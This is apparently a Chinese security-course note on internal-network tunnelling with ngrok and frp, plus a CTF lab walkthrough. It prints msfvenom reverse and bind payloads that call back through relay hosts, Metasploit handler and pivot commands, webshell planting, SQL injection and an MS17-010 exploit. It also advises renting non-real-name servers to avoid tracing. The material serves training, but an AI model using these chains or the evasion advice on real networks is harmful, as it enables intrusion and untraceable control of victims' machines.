70 内网安全-域横向内网漫游Socks代理隧道技术

目录

    • 必要基础知识点:
      • 1.内外网简单知识
      • 2.内网1和内网2通信问题
      • 3.正向反向协议通信连接问题
      • 4.内网穿透代理隧道技术说明
    • 演示案例:
      • 内网穿透Ngrok测试演示-两个内网通讯上线
      • 内网穿透Frp自建跳板测试-两个内网通讯上线
      • CFS三层内网漫游安全测试演练-某CTF线下2019
    • 涉及资源:

在这里插入图片描述
主要说的是socks代理技术,属于内网的穿透技术,代理主要是解决内网通信的问题,代理也能解决防火墙的拦截,但隧道主要是安全设备、流量监控等设备上的拦截问题,因为当我们去做渗透测试的时候,需要回传数据,或者回传敏感的东西,你走的协议不一样的话,在这个TCP/IP有七层协议,像TCMP、SSH、HTTP的协议,有些协议它会受到防火墙、过滤设备的流量检测工具、检测设备平台的干扰,所以在内网经常会出现流量传输数据会回显数据、拖数据的时候会出现拦截和一些报警,隧道技术主要是解决这类问题的

对方在内网,我也在内网,这个时候两个内网要能实现通讯的话,就必须要借助代理才能实现
eathworm已经停止更新
在这里插入图片描述

必要基础知识点:

1.内外网简单知识

2.内网1和内网2通信问题

1这个主机在内网1里面,2主机在内网2里面,比如我在我的学校宿舍里面上网,你在网吧上网,那我们两个就都属于内网,但是我们不是一个内网里面,就是你是你学校内网,我是网吧的内网,这两个网络如果要实现通讯的话,比如说我现在有个后门CS,我生成一个后门,然后发给你,这个时候你能让对方上线到这里来,这个是上不了线的,因为你们都是内网,除非这个时候采用代理技术
两个内网再实现通讯,能够实现控制或者数据回连的时候,那基本上是不可能的,就是说你想用CS控制内网主机,你CS也在内网,它的受害主机在另一个内网,不在同一个内网,那么上线是不可能的,因为无法控制它,只会有数据的传递,因为你们都连接互联网,你们可以通过互联网去连接数据,但是这个数据它无法准确的找到你

3.正向反向协议通信连接问题

控制端去连接被控端,这种情况就是正向
被控端去连接控制端,这种就是反向
你的控制端如果是服务器,外网的一台主机,就相当于你在外网有个唯一的IP地址,通过这个IP地址能够找到你,然后对方被控的肉鸡,是一个内网,如果你主动去找被控的内网主机的话,你是找不到的,因为它会有两个IP地址,一个是外网IP,一个是内网IP,你连接外网IP,就相当于你找到一个接口,就好比我们通过路由器上网一样,它就找到路由器那里,那还怎么找到你的主机呢,因为路由器下面还会有很多主机,所以它写这个IP地址,它只会找到路由器那里
连接内网IP地址,因为这个IP地址,内网都可以用到,每个内网里面都会有这个IP地址,就找不到,因为不是唯一的,所以我们主动去连接内网主机连接不上;反过来是反向的话,让被控制端主动过来找你就可以

4.内网穿透代理隧道技术说明

演示案例:

内网穿透Ngrok测试演示-两个内网通讯上线

1.注册-购买-填写-确认http://www.ngrok.cc/
协议: http 本地端口:192.168.76.132:4444
2.测试: 内网1执行后门-免费主机处理-内网2监听-内网2接受器

./sunny clientid aa0676878c162ffc
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
exploit

在这里插入图片描述
理论上不涉及到代理是控制不了的,因为你两者都是内网,你生成后门的时候,你如果写你外网木马地址的话,那么被控制端去连接的时候,找的是你的路由器,你写你内网地址更加找不到,所以它就不可能去实现控制,这个时候就要借助我们的Ngrok工具来实现这个连通
Ngrok会在外网提供一台服务器给你,就相当于这个肉鸡去找你的时候,先找你的服务器,服务器在传输给你,同样的,我们去找被控制端也是要去找这台服务器,这台服务器,我和被控制端都能访问的到
服务器会在控制端这里有个客户端,就相当于接收服务器给的数据,所以你出去这个客户端给服务器,回来也是经过客户端在给到你,所以这个数据的连通就是正常的,ngrok就相当于一个中介
ngrok下载地址:https://www.ngrok.cc/
在这里插入图片描述
在这里插入图片描述
免费的经常会出现掉线,用的时候看你自己需要吧
你用那种协议,等下木马生成就要走什么协议
在这里插入图片描述
在这里插入图片描述
我用MSF生成一个后门,然后再用一台电脑,执行这个后门,让两个内网实现连接
运行客户端,它就会寻找到我们的外网上去
在这里插入图片描述
在这里插入图片描述
确保是online状态就可以了,如果不是这个状态说明你这个隧道有问题,可能是我们的网络有问题,要换收费的
端口要跟我们的木马保持一致
msf配置后门的监听状态,设置payload就很我们生成后门的payload木马保持一致
在这里插入图片描述
我们把后门执行一下,可以看到接收到会话了,接收到的数据一直在变动
在这里插入图片描述
kali是控制端,它在它本地运行ngrok,专门监听ngrok的服务器给到它的实时端口,然后木马配置的就是建立这个监听的木马,所以木马就会找ngrok的服务器,所以ngrok的服务器就监听到了,数据就会给到本地4444,所以我监听4444端口,就会成功监听到木马的回连,其实就是相当于中间多了个服务器,就为他们的传输数据做铺垫,因为他们两个内网,如果单独去找对方,那都找不到,因为都是内网,所以只能借助外网主机,来帮助做这个事情,就是对方要给数据的时候,就到外网,外网就给到下面
在这里插入图片描述
如果大家有什么商用、比较重要的一些,建议还是要使用收费的,免费的,速度各方面,有点小问题,如果你在传输数据,突然断一下很尴尬的,如果不支持断点续传的话,可能又要重新下载了

买的服务器也不是自己的服务器,就是别人帮你提前部署好的,那么对于你在测试的时候,有些隐私或者小秘密怕别人知道,毕竟你用的是别人的服务器,工具本人可以上去偷偷看一下,想要一点秘密的话,可以使用frp,但是使用ngrok可以避免被溯源到,在红蓝对抗中,这也是一个优点

内网穿透Frp自建跳板测试-两个内网通讯上线

自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们
1.服务端-下载-解压-修改-启动 (阿云主机记得修改安全组配置出入口)
服务器修改配置文件frps.ini:
[common]
bind_port = 6677
启动服务端
./frps -c ./frps.ini
2.控制端-下载-解压-修改-启动
控制端修改配置文件frpc.ini:

[common]
server_addr = 你的云主机ip
server_port = 6677           #frpc工作端口,必须和上面frps保持一致
[msf]
type= tcp
local_ip =127.0.0.1
local_port = 5555                 #转发给本机的5555
remote_port = 6000             #服务端用6000端口转发给本机

启动客户端:

./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe -o frp.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

3.靶机运行frp即可

有条件尽量搞个黑服务器,就是不用实名,不用填一下乱七八糟的的东西,可能价格会高一点,那种服务器不受限制,就不会存在流量各方面受控、端口上面运行一些监控

frp工具相对于ngrok工具会相对更加灵活,你自己搭建的,走的地址由你自己指定,它就能解决两个内网的问题。比如,我在自己家里面,你在学校里面,我想控制你都可以,只需要建立跳板,frp、ngrok类似工具,我直接穿透你,我们以前控制都还需要在外网上面搞个后门工具,偷偷在上面控制,控制端连接外网,在上面操作的话,也在外网操作
这个时候有frp之后,内网的工具也能实现
有时候外网上面工具也不齐全,像你自己电脑很多东西都不是齐全的,这样子传输的时候,也能帮你穿透内网,更方便,你在外网的主机上面去操作的话,很麻烦的
这个技术可以利用到多项操作里面,像扶一下梯子,各种各样都可以

CFS三层内网漫游安全测试演练-某CTF线下2019

来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个ELag对应一个积分,获取三个Flag结尾。
Target1:
探针目标-利用WEB漏洞(TP5 RCE)-获取webshell权限-获取FLag-Target2
1.生成后门:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

2.接受反弹

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp 
set LHOST 192.168.76.132
set LPORT 1111
exploit

3.信息收集及配置访问

获取网络接口: run get_local_subnets
查看路由地址:  run autoroute -p
添加路由地址:  run autoroute -s 192.168.22.0/24
开启本地代理:
use auxiliary/server/socks4a
set srvport 2222
exploit

4.利用本地代理接口访问测试
设置浏览器代理进行访问测试
linux:
配置proxychains后调用工具探针Target2

/etc/proxychains.conf
socks4 192.168.76.132 2222
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80

-Pn: 扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT: 扫描TCP数据包已建立的连接connect
windows:
利用代理工具Proxifier或SocksCap64载入代理进行进程访问测试

Target2:
探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取FLag-Target3
http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后门shell
1.生成正向后门:

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

2.访问接受

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

3.信息收集及配置访问
获取网络接口: run get_local_subnets
查看路由地址: run autoroute -p
添加路由地址: run autoroute -s 192.168.33.0/24

Target3:
探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG

proxychains4 nmap -Pn -sT 192.168.33.33
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit
shell
dir /S flag.txt /B
type xxxxx.txt

在这里插入图片描述
我现在有个76网段,然后我攻击目标1的76.148,因为这个接口我能访问,然后我攻击到它之后
目标3没有网络,所以你正向也不行,反向也不行,正向连接它,你没有它的网段连接不了,它主动过来找你,也不行,因为它没有网络,所以我们只能一步步渗透,渗透到目标1这个服务器了,通过它的网卡22.129去攻击目标2,之后目标2这里是不是有33网卡,这个时候,我们借目标2去攻击目标3

TP5之前报过漏洞,我们直接用EXP去搞它

在这里插入图片描述
因为能执行命令,我们就可以直接写webshell到后门网站的路径下面去,看一下当前路径在那里
在这里插入图片描述
查看下面目录的内容
在这里插入图片描述
写入后门2.php
在这里插入图片描述
利用后门工具去连接
在这里插入图片描述
这个时候,我们要把它当作跳板,我们可以借助CS、MSF进行操作,因为CS上线之后,即使权限不够,也可以执行一些文件来加载代码
CS和MSF的会话是可以交接的,不用去纠结是用cs还是msf
在这里插入图片描述
把.elf文件传上去,执行文件
在这里插入图片描述
在这里插入图片描述
我们前期会进行一个信息收集,收集来的信息,其中就有一个叫网络接口信息
在这里插入图片描述

76网卡就是跟我们这台主机建立连接的,22网卡就是连接内网的另一台主机,但是我现在访问不了22网卡,因为我这个kali是76网卡
添加个路由
在这里插入图片描述
查看路由地址
在这里插入图片描述
我们刚才反弹的会话就是session1,就是说在session1上面多了个路由,表示说我上面有22网卡,添加了一个网络接口,那么我就可以对22网卡进行通讯了,由于是建立到session1的,因为这个session1是通过目标1执行后门后,反弹给我的,所以session1原则上是建立在target1上面,所以我增加路由能成功的原因在这里,添加完之后,说明我跟22这个网卡是能够通讯的
但是这个路由有个问题,只能通过msf进行通讯,这个路由是写到msf上面,有些工具你没有路由规则,那么它对22就无法访问,它只能在msf会话上面进行操作,所以这个时候会在本地开个代理,相当于给其它人一个接口,
我们访问目标2,只受限于会话上面,只在msf上面进行操作,但msf上面要进行攻击,虽然它上面有很多命令能够进行探针,但是他不能攻击,我们肯定是要进行常见攻击,用浏览器打开、用端口扫描,看的着,摸得着的东西去攻击,那样子才能得心应手
这个时候由于我们在上面无法用这些东西进行操作,上面没有这些东西,没有这些功能,所以这个时候,我们就开一个接口,就相当于在目标1或kali上面开个接口,然后让外部人去连接这个接口,因为目前这个kali已经能够访问到目标2了,因为kali上面已经有路由了,所以我可以在上面开个接口,我可以通过本机访问kali2222端口,就相当于我本机就能连到目标2这里
在这里插入图片描述
利用本地代理接口进行端口探针,有时候防火墙会影响到探针的结果
在这里插入图片描述
我们使用浏览器访问目标网址,我们要建立代理,走这个代理,相当于享有这个路由和工具调用端口是一个道理
在这里插入图片描述
在这里插入图片描述
利用sql注入拿到账号密码,对目录进行扫描获取后台登录网址,进行登入,进入后台,获取flag
在这里插入图片描述
这个是后台,后台不可能做代理,就是说我还是需要拿webshell,拿webshell后面才能做代理,做路由,可以通过后台的功能来拿webshell,后台功能里面有模板,模板可以修改代码,直接找到对应文件,写个后门到里面去
在这里插入图片描述
在这里插入图片描述
打开后门连接工具,进行连接,先进行代理设置,让工具走socks4协议,连接kali的2222端口
在这里插入图片描述
在这里插入图片描述
proxifier是全局代理工具,你配置好代理之后,相关的应用程序,就会走这个协议
在这里插入图片描述
有些程序支持上面配置代理,有些不支持,就会有这样的一个差距,不支持你就用sockscap64工具加载
在这里插入图片描述
我们现在是要让目标2主机上线,上线到kali来,生成后门的时候,我们不是要写IP地址,因为在目标2上面没有76网段,使用目标2访问不到76网段,就只能正向连接,我们去连接目标2,我们的控制端是在76网段这里,我们现在取到了目标1的权限,他有22网段,而且我添加了路由,我能找到目标2,目标2没有我的路由,他找不到我,所以我只能正向连接

我生成一个后门绑定3333端口,然后我再用我的kali主动连接目标2,其实就是让我这台主机主动去找目标2
在这里插入图片描述
然后我在把木马上传到webshell上执行

开启监听状态
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
看一下目标2的网络环境
查看当前路由
添加路由
在这里插入图片描述
那会话上面就有这个路由了
在这里插入图片描述
接下来的操作就跟目标1一样了,在开一个端口走协议socks4连接33,对端口3333进行攻击,因为他是windows主机,我们可以使用nmap --script=all进行扫描,也可以使用nessus扫描,在真实渗透测试过程中,我们肯定是要对他进行一些扫描过程
利用扫描到的主机漏洞,进行攻击
在这里插入图片描述

涉及资源:

http://www.ngrok.cc/
https://gofrp.org/docs/
https://github.com/fatedier/frp/releases
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码: xiao

cs图形化会比msf好看点,但是命令会比msf少一些,功能少一点,所以我们用msf,如果你熟悉cs的话,可以用msf把会话反弹到CS上,就是委派到CS上面去

对方能够连接你就用reverse,不能就用bind
搭建好隧道之后,用CS来监听也可以

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/136713.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入分析MySQL索引与磁盘读取原理

索引 索引是对数据库表中一列或者多列数据检索时,为了加速查询而创建的一种结构。可以在建表的时候创建,也可以在后期添加。 USER表中有100万条数据,现在要执行一个查询"SELECT * FROM USER where ID999999",如果没有索…

挑战100天 AI In LeetCode Day05(热题+面试经典150题)

挑战100天 AI In LeetCode Day05(热题面试经典150题) 一、LeetCode介绍二、LeetCode 热题 HOT 100-72.1 题目2.2 题解 三、面试经典 150 题-73.1 题目3.2 题解 一、LeetCode介绍 LeetCode是一个在线编程网站,提供各种算法和数据结构的题目&am…

2023年腾讯云双11活动入口在哪里?

2023年双11腾讯云推出了11.11大促优惠活动,下面给大家分享腾讯云双11活动入口、活动时间、活动详情,希望可以助力大家轻松上云! 一、腾讯云双11活动入口 活动地址:点此直达 二、腾讯云双11活动时间 腾讯云双11活动时间跨度很长…

97 只出现一次的数字

只出现一次的数字 题解1 异或的应用(判断出现次数是奇偶) 给你一个 非空 整数数组 nums ,除了某个元素只出现一次以外,其余每个元素均出现两次。找出那个只出现了一次的元素。 你必须设计并实现线性时间复杂度的算法来解决此问题…

【MySQL数据库】| 索引以及背后的数据结构

🎗️ 主页:小夜时雨 🎗️ 专栏:MySQL数据库 🎗️ 如何优雅的活着,是我找寻的方向 目录 1. 基本知识2. 索引背后的数据结构总结 1. 基本知识 概念 索引是一种特殊的文件,包含着对数据表里所有…

已解决:Python Error: IndentationError: expected an indented block 问题

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页: 🐅🐾猫头虎的博客🎐《面试题大全专栏》 🦕 文章图文并茂&#x1f996…

19 数据中心详解

1、数据中心的概念 其实平时我们不管是看新闻,视频,下载文件等,最终访问的目的地都是在数据中心里面。数据中心存放的是服务器,区别于我们平时使用的笔记本或者台式机。 机架:数据中心的服务器被放在一个个叫作机架&…

代码随想录算法训练营第四十六天|139. 单词拆分、多重背包问题、总结

第九章 动态规划part08 139. 单词拆分 给你一个字符串 s 和一个字符串列表 wordDict 作为字典。请你判断是否可以利用字典中出现的单词拼接出 s 。 注意:不要求字典中出现的单词全部都使用,并且字典中的单词可以重复使用。 关于字符串类型的题目还是…

NVM安装使用

文章目录 简要说明下载nvm安装nvm使用说明使用nvm下载各个版本的node.js查看已经下载到本地的node有哪些切换到对应的node版本后 简要说明 当我们在项目开发时,我们接手别人的项目、是当时开发的项目使用的node版、找开源项目学习的时候开源项目要求的node版本。和…

Count-based exploration with neural density models论文笔记

Count-based exploration with neural density models[J]. International Conference on Machine Learning,International Conference on Machine Learning, 2017. 基于计数的神经密度模型探索 0、问题 这篇文章的关键在于弄懂pseudo-count的概念,以及是如何运用…

springboot,spring框架返回204 status code的时候,会吞掉返回值

背景 发现有个有意思的现象,就是当你的接口返回204的 HTTP status code 的时候,会自动把 response body 吃掉,即使代码里是有返回的。例如 (其实204本身就是NO_CONTENT的意思,不过我是真没想到真干掉了返回&#xff0…

数据库系统概念系列 - 数据库系统的历史

从商业计算机的出现开始,数据处理就一直推动着计算机的发展。事实上,数据处理自动化早于计算机的出现。Herman Hollerith 发明的穿孔卡片,早在20世纪初就用来记录美国的人口普查数据,并且用机械系统来处理这些卡片和列出结果。穿孔…

Kotlin HashMap entries.filter过滤forEach

Kotlin HashMap entries.filter过滤forEach fun main(args: Array<String>) {val hashMap HashMap<String, Int>()hashMap["a"] 1hashMap["b"] 2hashMap["c"] 3println(hashMap)hashMap.entries.filter {println("filter $…

GDPU 数据结构 天码行空9

实验九 哈夫曼编码 一、【实验目的】 1、理解哈夫曼树的基本概念 2、掌握哈夫曼树的构造及数据结构设计 3、掌握哈夫曼编码问题设计和实现 二、【实验内容】 1、假设用于通信的电文仅由8个字母 {a, b, c, d, e, f, g, h} 构成&#xff0c;它们在电文中出现的概率分别为{ 0.…

酷安官网下载页前端自适应源码

酷安官网下载页前端自适应源码&#xff0c;自己拿走玩玩 站长只打开看了一眼&#xff0c;感觉风格还不错&#xff0c;纯html&#xff0c;自己魔改 转载自 https://www.qnziyw.cn/wysc/qdmb/24470.html

达梦SQL语法兼容笔记

1. DDL工具语法 查看库和表列表 # 查看所有数据库 select distinct object_name from all_objects where object_typeSCH; # 查看所有可见的表名&#xff1a; SELECT table_name FROM all_tables; # 查看用户可见的所有表 SELECT table_name FROM all_tables WHERE owner s…

磁盘空间占用巨大的meta.db-wal文件缓存(tracker-miner-fs索引服务)彻底清除办法

磁盘命令参考本博客linux磁盘空间满了怎么办. 问题: 磁盘空间被盗 今天瞄了一下我的Ubuntu系统盘&#xff0c; nftdiggernftdigger-Ubuntu:~$ df -h 文件系统 容量 已用 可用 已用% 挂载点 udev 16G 0 16G 0% /dev tmpfs 3.2G 1.9…

VUE获取当前日期的周日和周六

<template><div><div click"handleLast()">上一周</div><div click"handleNext()">下一周</div><el-calendarref"monChild"v-model"value":first-day-of-week"7":range"[sta…

2023.11.8 hadoop学习-概述,hdfs dfs的shell命令

目录 1.分布式和集群 2.Hadoop框架 3.版本更新 4.hadoop架构详解 5.页面访问端口 6.Hadoop-HDFS HDFS架构 HDFS副本 7.SHELL命令 8.启动hive服务 1.分布式和集群 分布式: 多台服务器协同配合完成同一个大任务(每个服务器都只完成大任务拆分出来的单独1个子任务)集 群:…

怎样在iOS手机上进行自动化测试

Airtest支持iOS自动化测试&#xff0c;在Mac上为iOS手机部署iOS-Tagent之后&#xff0c;就可以使用AirtestIDE连接设备&#xff0c;像连接安卓设备一样&#xff0c;实时投影、控制手机。iOS测试不仅限于真机测试&#xff0c;iOS模拟器也可以进行。Mac端上部署完成后还可以提供给…